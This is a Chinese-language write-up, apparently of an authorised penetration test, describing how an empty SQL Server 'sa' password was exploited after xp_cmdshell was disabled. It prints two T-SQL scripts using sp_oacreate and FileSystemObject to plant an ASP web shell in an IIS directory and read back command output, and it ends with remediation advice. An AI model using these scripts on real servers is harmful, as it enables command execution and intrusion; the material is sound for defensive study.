top
Loading...
一次簡單的SQLSERVER的安全測試

編者按:SQL SERVER是大多數中小企業應用的首選,前面的文章中,作者SQL對Windows的安全配置進行了探討,在本文中,將進一步對基于Windows的SQL SERVER的安全配置進行探討。

在一次給客戶做安全方案的設計的時候,對方提出一個要求希望我們可以實際攻擊下他們的網絡以驗證是否真實存有安全漏洞,在得到客戶許可以后我遠程對他的網絡進行了一次匿名的掃描探測,報告很快就出來了很簡單SQL SERVER的管理員口令為空任何人都可以遠程登陸過去連接,我還是按照慣例想利用CMDSHELL這個擴展的存儲進程去執行一些東西才發現原來有點不一樣了。

我本來想簡單的利用個相成的工具去執行,可對方服務器給我返回了錯誤的消息,很顯然對方的管理員出于安全的考慮已經把一些比較危險的SQL SERVER下東西給禁止了。近來網絡上關于SQL SERVER安全配置的文章很多,看來的確還是有點作用。我接下來嘗試利用SA的管理員身份恢復xp_cmdshell結果都是不成功。

看來這次的攻擊有點意思了,我翻了一些資料找了找其他相關的說明最后把我的解決方法給大家參考。

首先我在CGI的掃描探測中發現對方IIS服務器存有危險的虛擬目錄沒有做刪除處理比如/_vti_bin/這個目錄就還存在,根據常識我可以知道這個目錄對應的真實物理路徑是在C:Program FilesCommon FilesMicrosoft SharedWeb Server Extensions40isapi這個目錄下面,好的現在我們已經知道對方站點的一個真實可用的物理路徑了,想想看以前總有人說暴露物理路徑不是什么危險的漏洞,其實不然現在很多漏洞都是組合在一起利用。

然后利用SQL SERVER的客戶端軟件連過去,執行一個比較有意思的SQL腳本:

     -- scripting.filesystemobject example - create a 'run this' .asp filedeclare @o int, @f int, @t int, @ret intexec sp_oacreate 'scripting.filesystemobject', @o outexec sp_oamethod @o, 'createtextfile', @f out,    'C:Program FilesCommon FilesMicrosoft SharedWeb Server Extensions40isapifoo.asp', 1exec @ret = sp_oamethod @f, 'writeline', NULL,'<%Set oScript = Server.CreateObject("WSCRIPT.SHELL"):oScript.Run ("cmd.exe /c dir c: > c:i0.sys ") %>'   
這個腳本看意思我們知道就是在對方的服務器的目錄下寫一個可執行的ASP文件,然后執行里面的命令dir c:把結果定向到C盤下的一個文件。可能有人說這個腳本比較笨我也想把它寫的更好,可惜自己能力有限試了幾個其他的寫法都是不成功。

在SQL SERVER的查詢分析器里面我們在遠程執行這個腳本,成功以后我們就可以利用IE去遠程的服務器上調用這個文件來執行里面的程序。

IE執行成功以后,我們再利用另外一個SQL腳本來查看結果。

     -- scripting.filesystemobject example - read a known filedeclare @o int, @f int, @t int, @ret intdeclare @line varchar(8000)exec sp_oacreate 'scripting.filesystemobject', @o outexec sp_oamethod @o, 'opentextfile', @f out, 'c:i0.sys', 1exec @ret = sp_oamethod @f, 'readline', @line outwhile( @ret = 0 )beginprint @lineexec @ret = sp_oamethod @f, 'readline', @line outend   

OK,我們可以從SQL SERVER中遠程看到對方服務器的C盤文件列表了,當然你還可以做很多其他的事情,比如提升你的權限等等。但是做為遠程滲透服務測試來說,我們已經圓滿的完成了客戶的要求。

事后分析來看對方的網絡管理員其實對服務器做了很多配置,所以留下這個SA的空口令可能是因為一些其他的原因,我們知道SQL SERVER2000安裝的時候其實是沒有這個空口令問題的,客戶可能是由于內部客戶端的一些使用上的原因而留下的這個問題,我已經建議客戶去給數據庫一個強壯的口令以解決這個問題了。

作者:http://www.zhujiangroad.com
來源:http://www.zhujiangroad.com
北斗有巢氏 有巢氏北斗